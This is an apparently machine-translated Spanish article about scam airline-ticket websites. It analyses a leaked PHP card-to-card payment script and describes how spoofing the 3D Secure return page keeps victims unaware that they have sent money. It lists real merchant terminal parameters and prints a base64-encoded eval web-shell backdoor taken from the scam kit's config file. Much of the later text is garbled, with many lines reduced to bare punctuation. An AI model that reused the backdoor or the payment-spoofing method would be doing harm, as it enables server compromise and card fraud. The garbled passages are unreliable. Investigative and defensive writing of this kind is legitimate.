Decidí que la razón del fracaso en el primer intento fue que el sitio local (localhost) trabajó en una conexión http insegura, y el sitio Sberbank en un protocolo http seguro. Http y https no son muy amigables entre sí. Esto, por cierto, explica por qué los sitios fraudulentos descritos en la primera parte de la publicación utilizaron una conexión https segura, aunque con el certificado más simple.

Para verificar esta suposición, tuve que configurar el protocolo https en el sitio local. Para hacer esto, se creó un dominio local p2p.localhost y un certificado autofirmado. Como resultado, la nueva dirección con el script de prueba comenzó a verse así:

https://p2p.localhost/payp2p.php

Además, la dirección de la página a la que se debe realizar la devolución después de ingresar el código 3D Secure se cambió en el script. La página de retorno en sí también fue preparada previamente.

Intentamos nuevamente realizar un pago con un sitio local que funciona a través del protocolo https.

Cuando se conecta por primera vez, el navegador insiste naturalmente en la conexión segura configurada incorrectamente. Esto se debe al hecho de que tenemos un certificado autofirmado.



Como se conoce la fuente del certificado, lo agregamos a las excepciones.



Eso es todo. Ahora la conexión se realiza a través de https y al cambiar del sitio web de Sberbank, las advertencias desaparecen.



Después de ingresar el código 3D Secure, el regreso a la página especialmente preparada se realiza correctamente.



Todo funciona bien, excepto que el dinero realmente no funciona . Como resultado, tuve que probar y buscar durante varios días, lo que podría ser la razón.

Solo tenía una parte de los archivos que se usan en uno de los sitios de boletos de avión fraudulentos. Entre los archivos que me enviaron, había un archivo payment.php. Esto es similar al script analizado anteriormente. A juzgar por el código, probablemente fue creado no para engañar a los visitantes en el "sitio de combate", sino para probar por un programador-desarrollador la posibilidad de transferir de una tarjeta a otra a través del servicio 3ds.payment.ru. Es poco probable, pero teóricamente en las primeras versiones de sitios fraudulentos, podría usarse no solo para pruebas.

Intenté hacer un pago usando el script alternativo payment.php y el pago pasó la primera vez.Lo único que la confirmación del pago exitoso se mostró en el sitio web 3ds.payment.ru. Decidí que dado que este script funciona, será posible encontrar la razón por la cual el primer script en la descripción (payp2p.php) no funciona.



Código de script completo payment.php bajo el spoiler

.

Descripción de las diferencias entre las secuencias de comandos payment.php y payp2p.php
. .

payp2p.php POST . payment.php GET . , , :

https://p2p.localhost/payment.php?card_1=1111&card_2=2222...&cvc=999...&price=30...

, « ».

Payment.php payp2p.php MySQL. . .

Payment.php . , . , payp2p.php , , payment.php . TERMINAL=24043210, MERCH_NAME=PSB, MERCHANT=000601224043202, EMAIL=lakhtin%40psbank.ru, TRTYPE=8 ( TRTYPE . payp2p.php ).

— payment.php https://3ds.payment.ru/cgi-bin/is_3DS. {"IS_ACTIVE":"Y"} , ( 3D Secure).

. payment.php . , 3ds.payment.ru.

… , Firefox, «» payment.php («Firefox/3.0.3»), , , , . , 3.5 Firefox 2009 , 4 Firefox 2011, payp2p.php , «Firefox/38.0», 2016 — Firefox 49.

Luego hubo intentos de arreglar el script payp2p.php que no funcionaba por alguna razón, arreglarlo, tomando el script de trabajo como base. Se han probado varias opciones. Todas las piezas de código que de alguna manera podrían afectar el trabajo a su vez se transfirieron del script de trabajo al no funcional. Entre otras cosas, hubo un intento de una conexión intermedia adicional a https://3ds.payment.ru/cgi-bin/is_3DS; cambiando, activando y desactivando las opciones cURL, etc. Nada ayudó, la flor de piedra no salió.

Más tarde, durante las pruebas, se decidió desactivar los redireccionamientos en la etapa final en payp2p.php. Después de eso, se hizo posible leer el mensaje de error de Promsvyazbank. Captura de pantalla del error a continuación. En el navegador después de un intento fallido de realizar un pago, se muestra otra página, pero si hace clic en "Atrás" una o más veces, puede ver esta página.


:

, .

: / (/)
, , /

Existen algunas restricciones en la cantidad de pagos de una tarjeta por día en el sitio web de Promsvyazyazbank, etc. Aunque no excedí los límites en la cantidad de pagos reales, es posible que los pagos no se hayan realizado en algún momento, debido a la gran cantidad de intentos. (Para capturar los valores de las variables durante la depuración, comencé el proceso de pago muchas veces, pero no lo terminé) No sé la razón exacta de este mensaje. Cada intento de pagar ORDER_NUM y TIMESTAMP usa uno nuevo. No deberían haber influido en la aparición de tal error. Aunque la tarjeta que utilicé para el pago, un pago exitoso pasó por un script pago.php alternativo, tal vez la tarjeta del remitente o del destinatario entró en la lista de espera.

El script payp2p.php ya era un poco como su estado original. Yo mismo comencé a confundir lo que reemplacé y lo que no. Por lo tanto, lo devolví a su forma original, excepto que en las últimas líneas se deshabilitó la redirección de la redirección a la página de pago exitosa. Los números de tarjeta del remitente y el receptor para los intentos posteriores se utilizaron nuevos.

Finalmente, con la ayuda de payp2p.php resultó hacer un pago exitoso.



Presta atención a la firma en la línea "Descripción".

Después de ingresar el código de confirmación 3D Secure, la devolución se realiza a la página Promsvyazbak:



SMS recibidos. A la izquierda del banco del remitente. A la derecha del banco del beneficiario.



Sberbank, por alguna razón, indicó en hora de SMS GMT. Anteriormente, no me di cuenta de esto en los mensajes de este banco.

Con la sustitución de la página de retorno deshabilitada, repita el pago exitoso usando el script payp2.php que apareció muchas veces.

Traté de pagar con otras tarjetas. Cada banco emite su formulario 3D Secure. Pero esto no cambia la esencia.





Tenga en cuenta que no todos los bancos incluyen una "descripción adicional" en su formulario de confirmación. En nuestro ejemplo, "pago de boleto".

No es necesario adaptarse a la página de cada banco. Aunque las formas son diferentes, el mecanismo de sustitución de las mismas es el mismo. Cualquier formulario después del pago contiene un enlace con la dirección de la página a la que desea regresar. Los bancos mismos, que proporcionan formularios de verificación 3D Secure, probablemente no serán devueltos al "sitio izquierdo". Seguramente, hay algunas reglas y los bancos del formulario de verificación 3DS deben al menos volver al mismo dominio desde el que se recibió la solicitud de pago. (En nuestro caso, en 3ds.payment.ru). El banco que verifica el código 3D Secure, en caso de que la contraseña se ingrese correctamente, en el código html de la página indica la dirección a la que es necesario regresar, pero ya no puede controlar si debía regresar a esta página.

Como resultado de todos los experimentos, fue posible obtener el script payp2p.php para pagar a través del servicio de transferencia de tarjeta a tarjeta de Promsvyazbank 3ds.payment.ru. Al mismo tiempo, tuve que desactivar la sustitución de la dirección del remitente en las últimas líneas del guión. Cuando activa la falsificación de la dirección de la página de retorno, como estaba en el guión original, en este momento el dinero realmente no pasa. Se muestra la página de verificación 3D Secure; Se envía un SMS con "contraseña"; el formulario de verificación no salta al siguiente paso al ingresar la contraseña incorrecta; después de ingresar la "contraseña" correcta, redirige a una página falsa, pero el dinero no pasa.

La falsificación de la dirección de la página de devolución para un pago exitoso es una parte muy importante para los sitios fraudulentos. Si el "comprador de boletos" no sospecha que fue engañado, entonces puede pagar no uno, sino varias compras de boletos y después de eso durante mucho tiempo (días y semanas) no tomar ninguna acción activa para cancelar el pago, etc. Si el comprador después de "pagar los boletos aéreos" recibe la confirmación de la transferencia de una tarjeta a otra, lo más probable es que ya no realice los siguientes pagos, se comunicará con su banco y, posiblemente, con la policía mucho más rápido. Esto significa que los flujos de efectivo en sitios fraudulentos se reducen, la probabilidad de cancelar pagos anteriores aumenta, las agencias de aplicación de la ley y los empleados anfitriones comienzan a actuar antes, y aumenta la probabilidad de no tener tiempo para retirar fondos robados a un lugar seguro.

El hecho de que este script se haya utilizado en un sitio de combate fraudulento, no tengo dudas. Tengo razones para creer que funcionó en la forma en que me lo proporcionaron. Actualmente funciona de forma limitada (sin redireccionamientos).

Aproximadamente tres semanas después de la publicación de la primera parte de la publicación, que mencionaba a los estafadores que usaban el servicio de transferencia de tarjeta a tarjeta de Promsvyazbank, este banco realizó algunos cambios en su servicio, lo que considero importante. Anteriormente, al pagar a través del sitio web de Promsvyazbank, los pagadores recibían SMS incomprensibles con el texto "P2P PSBANK", pero ahora comenzaron a recibir SMS con el texto "CARD2CARD PSBANK.RU". Aun así, a primera vista, un ligero cambio en el descifrado del propósito del pago es suficiente para que algunas de las posibles víctimas de estafadores cancelen el pago en la etapa de confirmación. Creo que esto no es una coincidencia, y los cambios se hicieron precisamente como resultado de la publicación del artículo sobre GeekTimes.

Es probable que después de la publicación de la primera parte del artículo, junto con el cambio del texto de confirmación en SMS, se puedan realizar ajustes adicionales a los algoritmos del servicio de transferencia de tarjeta a tarjeta de Promsvyazbank. No puedo decir 100%, pero mi opinión es que antes del servicio de Promsvyazbank 3ds.payment.ru con una alta probabilidad no verificaba el regreso de los usuarios a su sitio después de ingresar con éxito el código 3D Secure en los sitios de los bancos que emitían tarjetas de crédito. Por lo tanto, los pagos se realizaron incluso cuando los scripts fraudulentos cambiaron la página de devolución.

El banco, que se menciona muchas veces en esta publicación, tuvo suerte con la publicidad gratuita. Creo que en realidad todavía hay un número suficiente de esos bancos. Es solo que es más afortunado porque se eligió primero para usar en sitios fraudulentos, y luego para el análisis en este artículo. Como dicen, no hay pacientes sanos, hay pacientes mal examinados.

Al escribir este artículo, la tarea de crear un guión de combate fraudulento no valía la pena. La tarea consistía en tratar de entender cómo funciona o funciona para entender las razones por las cuales los "compradores de boletos aéreos" podrían ser engañados, y sacar conclusiones de esto.

Este artículo plantea muchas preguntas, pero no proporciona todas las respuestas. Estoy seguro de que entre los lectores habrá un número suficiente de usuarios avanzados que podrán comentar con mayor precisión el cuadro clínico y hacer un diagnóstico. Por mi parte, traté de presentar el testimonio lo más completo posible ...

Se completó parte de la publicación con el análisis del guión de pago. Más bonos para aquellos que pudieron leer en este lugar.


¿De dónde viene la tarifa aérea barata en sitios fraudulentos?

En la parte anterior de la publicación, por signos indirectos, se demostró que la información sobre la disponibilidad de lugares y precios se obtiene mediante programación en algún sitio honesto, modificada y emitida al usuario.

Ejemplo de información sobre disponibilidad y precios en un sitio web fraudulento


Ahora tenemos la oportunidad de mirar detrás de escena y ver cómo se implementa esto en el código del programa.

Aquí está el lugar en el código del sitio fraudulento en el que vemos de dónde provienen las imágenes y los precios de los vuelos desde sitios fraudulentos.



Como se esperaba en esta serie de sitios fraudulentos, la información sobre los lugares disponibles se toma en un sitio honesto www.aviacassa.ru. Dado que la cantidad de aerolíneas y vuelos es grande, es muy difícil descargar todas las imágenes e íconos de antemano en un problema de este tipo, los enlaces a dichas imágenes se dejan directamente al sitio original.

El descuento se deduce del precio original recibido por los boletos aéreos. Como se mostró anteriormente, el propietario de un sitio fraudulento puede establecer arbitrariamente el monto del descuento. El monto del descuento se almacena en el archivo aviacfg.php.

Un código más completo responsable de obtener información sobre la disponibilidad de asientos, preparar enlaces a imágenes y cambiar los precios bajo el spoiler.

Analizador de precios: una parte más completa del código


No desmontaremos esta pieza línea por línea, ya que no es el código en sí lo que importa, sino la idea de cómo y de dónde provienen los datos reales de los boletos de avión para sitios fraudulentos.

El analizador anterior utilizaba otro sitio para obtener datos:



Sugerencia para la taquilla (www.aviacassa.ru): debe cerrar la posibilidad de enlaces a archivos de dominio desde un referente externo (sitio de referencia). Esta oportunidad puede estar cerrada para todos sin excepción, o puede hacer excepciones solo para socios de confianza. El servidor web NGINX, que usa aviacassa, lo hace fácil de hacer. La misma recomendación para todos los sitios similares que se pueden utilizar como "donantes de información".

Si los sitios fraudulentos no pueden vincular directamente a imágenes en sitios como las taquillas, esto complicará su vida. El número de logotipos e imágenes de varias aerolíneas no se conoce de antemano. Incluso si intenta descargar las imágenes con anticipación, puede omitir algo y el sitio fraudulento se verá feo. Dichos sitios se verán obligados a descargar todas las imágenes localmente en el servidor con cada solicitud, o al menos verificar si dicha imagen se descargó previamente al "caché" o no. Esto aumenta la carga en el servidor de la estafa y hace que el procesamiento de la página sea más lento. Además, el cierre de la capacidad de vincular directamente a las imágenes a la vez hará que todos los sitios fraudulentos actuales que utilizan la información de la taquilla no funcionen.

Por supuesto, con el tiempo, los desarrolladores harán parches. Pero como los sitios fraudulentos no se administran de forma centralizada y varias personas no tienen actualizaciones automáticas de software, cada propietario de un sitio fraudulento tendrá que buscar una oportunidad para actualizarse. Alguien encontrará el código actualizado, pero alguien no lo encontrará y el sitio dejará de funcionar.

Además, la taquilla puede incluir un registro separado para tales imágenes, en el que se guardarán los registros de todos los referentes externos (sitios de referencia). Y en unos pocos días en este registro obtendrá una lista de todos los sitios fraudulentos activos. Es muy conveniente: en lugar de tratar de encontrar individualmente cada sitio, puede pedirles que se registren independientemente en la lista (archivo de registro).

Y si hay administradores divertidos en la taquilla, puedes hacer una broma ...
- NGINX , , «» , URL , . . — « » , -, , , , .

Alguien puede decir que la publicación de dichos artículos sirve como una herramienta de capacitación para estafadores y hacer una pregunta, ¿por qué lo publiqué aquí? Yo respondo Si hay alguna forma de robar dinero, basado en el uso de software vulnerable o insuficientemente protegido, sobre el cual al menos algunas personas saben y su objetivo es ganar dinero con él, entonces un intento de ocultar esa información y fingir que no hay problemas solo conduce a consecuencias aún peores. Los estafadores usan estos métodos aún más activamente, mientras que los bancos están contentos porque regularmente pagan la comisión por los servicios y les roban dinero. ¿Por qué los bancos necesitan cambiar algo, si todo es tan bueno? De vez en cuando, solo algunos usuarios de Internet son engañados y pierden dinero en sitios fraudulentos. ¿Pero a quién le importa?

Mi opinión es que si un gran número de personas conoce alguna oportunidad "engañosa" para robar dinero, con el tiempo se volverá mucho más difícil para los estafadores usarlo, y será imposible para las organizaciones que lo usan ignorar los problemas.

El script payp2.php y varios archivos utilizados en una serie reciente de sitios de ventas de aerolíneas fraudulentas me fueron enviados por el usuario frozenstorm . No sé de dónde lo sacó. Dirija todas las preguntas sobre este tema directamente a él.

Pero puedo decir de inmediato que, como resultó más tarde, no es difícil encontrar el conjunto completo de códigos fuente para sitios fraudulentos que venden boletos de avión. Busqué "vuelos falsos". Ambos motores de búsqueda principales proporcionan enlaces en la primera página. Un conjunto completo de códigos fuente cuesta solo 25-30 toneladas de rublos. Después de que este tema dejó de funcionar, los códigos fuente que no funcionan, que según el vendedor son "fáciles de terminar", comenzaron a costar 10 tr. Recientemente, a juzgar por los mensajes en los foros, la versión 2.0 supuestamente está a la venta nuevamente a un precio de 25 tr.

A continuación se muestra un ejemplo de spoiler de venta gratuita del código fuente de un sitio web fraudulento para la venta de boletos aéreos en uno de los foros.

Captura de pantalla del foro. (Imágenes ordenadas, muy largas)

. (2/5)


. (3/5)


. (4/5)


. (5/5)



En el foro, que se muestra en la captura de pantalla, se venden y compran abiertamente códigos de sitios web fraudulentos similares, información de tarjetas de crédito, datos de pasaportes, información personal de bases de datos estatales, se propone hacer pasaportes falsos, licencias de conducir, etc. Esta es solo una lista corta, por ejemplo. Es decir con raras excepciones, hay un crimen continuo. Al mismo tiempo, la administración del foro actúa como garante entre compradores y vendedores. Hay varios foros como este. Todos trabajan libremente por años. Todos ellos están perfectamente indexados por los motores de búsqueda (Yandex, Google, etc.). No cito la dirección de un foro específico. Son muy fáciles de encontrar.

Dado que detrás de cada sitio web fraudulento para la venta de boletos aéreos hay una persona separada que compró el código fuente del sitio web a bajo costo, en cada caso puede encontrar a la persona responsable y esto debe hacerse. No todos los administradores de un sitio tan falso son un súper profesional cuyos rastros no se pueden encontrar. Estoy seguro de que entre esos administradores hay suficientes que han heredado y, si tienen la autoridad adecuada, se pueden calcular. Pero, en mi opinión, en lugar de tratar de tratar cada sitio falso individualmente, debe prestar atención a los sitios donde las fuentes de dichos sitios falsos se distribuyen libremente.

Para infligir un golpe aplastante en sitios fraudulentos que venden boletos de avión falsos, no necesita tanto. Si todos hacen un poco, esto complicará enormemente la vida de los estafadores y puede plantear la cuestión de la ineficiencia de llevar a cabo un negocio de este tipo. Se requiere un poco de atención por parte de los motores de búsqueda para evitar que dichos sitios entren en anuncios. No es realista dividir dichos sitios en los mejores resultados sin publicidad. Además, los motores de búsqueda deben excluir los sitios que realmente compran y venden esquemas criminales. Se requiere un poco de atención de los bancos para realizar un seguimiento de sus servicios de pago para que los estafadores no puedan usarlos fácilmente. Necesito un poco de atención de los anfitriones. Necesita un poco de atención por parte de los sistemas de pago: para empezar, no permita pagos sin verificar 3D Secure (como se muestra en la primera parte de la publicación,todavía es posible). Necesita un poco de atención de la policía. En lugar de investigar cada caso de robo de dinero, es más eficiente actuar de antemano: lidiar con el nido donde se comunican los estafadores (analice, por ejemplo, esos foros muy ocultos). Y, por supuesto, necesita un poco de atención por parte de los potenciales compradores de boletos de avión.

Dicen que las reparaciones no se pueden completar, y solo se puede detener. Esta publicación es un caso similar. Por lo tanto, aunque se podría escribir mucho más, me detendré aquí. Gracias por su atencion Estaré encantado de tus comentarios.

PD Sobre Jackie Chan ... No puedes leer
, , , , .

, , , , - . . .

fon.png. , , . (merch) . .

. , - , . . .


VISA Mastercard (logo_standart_ru.png):



. , .

parser.php


.

, , , - . , -, «» . (config.php) , . . . . .



'.@evalbase64_dec&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;#111;deDQppZihpc3NldCgkX1JFUVVFU1RbImRsZV9leGVjIl0pKXsNCglAZXZhbCgkX1JFUVVFU1RbImRsZV9leGVjIl0pOw0KCWV4aXQ7DQp9LyoqLw0K.//456' => 'qwe',

'.@evalbase64_dec&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;#111;deDQppZihpc3NldCgkX1JFUVVFU1RbImRsZV9leGVjIl0pKXsNCglAZXZhbCgkX1JFUVVFU1RbImRsZV9leGVjIl0pOw0KCWV4aXQ7DQp9LyoqLw0K.//456' => 'qwe',

.


, , , «» .

email
, EMAIL. :


3ds.payment.ru Lakhtin@psbank.ru.

, ? , - . , , Mastercard 3DS.

https://www.mastercard.us/content/dam/mccom/en-us/documents/SecureCode%20Vendor%20list/3ds-vendor-list-042215.pdf

Mastercard


email . - . - . .. - , , , - .

, email ? . , -, . , . . , , - - , , .

. , - - email . , , . , . , , , . - , , , email -, - . (, , .. ). , .. . . , -, . , , , , . . , -, , . , , , , .

? , . email , , . . - , - , .

?
, , «» 3ds.payment.ru, . , LaravelRUS , Curl 3ds.payment.ru.

, . ? ? ?
, , .







. . - .



:

» https://gitter.im/LaravelRUS/chat/archives/2016/05/06 — . .
» http://gitchat.org/developers/Valtas
» https://github.com/Valtas — Github
» https://www.fl.ru/tu/57770/parser-internet-magazina.html - .

, , — .

, . , . , .

http://forum.prootzyvy.org/forums/spisok-sajtov-moshennikov-po-prodazhe-aviabiletov.134/

336 . , . .



? , . . , . , , , .. , . , , . , - « » . ( ). - 5-10-20 .. , , , . (), , , .

. ?
. . , . , . «. ». , . , . . . .

, , . , , -, . , . , , .

, . , . , .

, , . - - . . , .



80 , . , . , . :



56 , « », , .
, , « », , .

:





- -. , . , . . , . , , , .

Source: https://habr.com/ru/post/es398313/


All Articles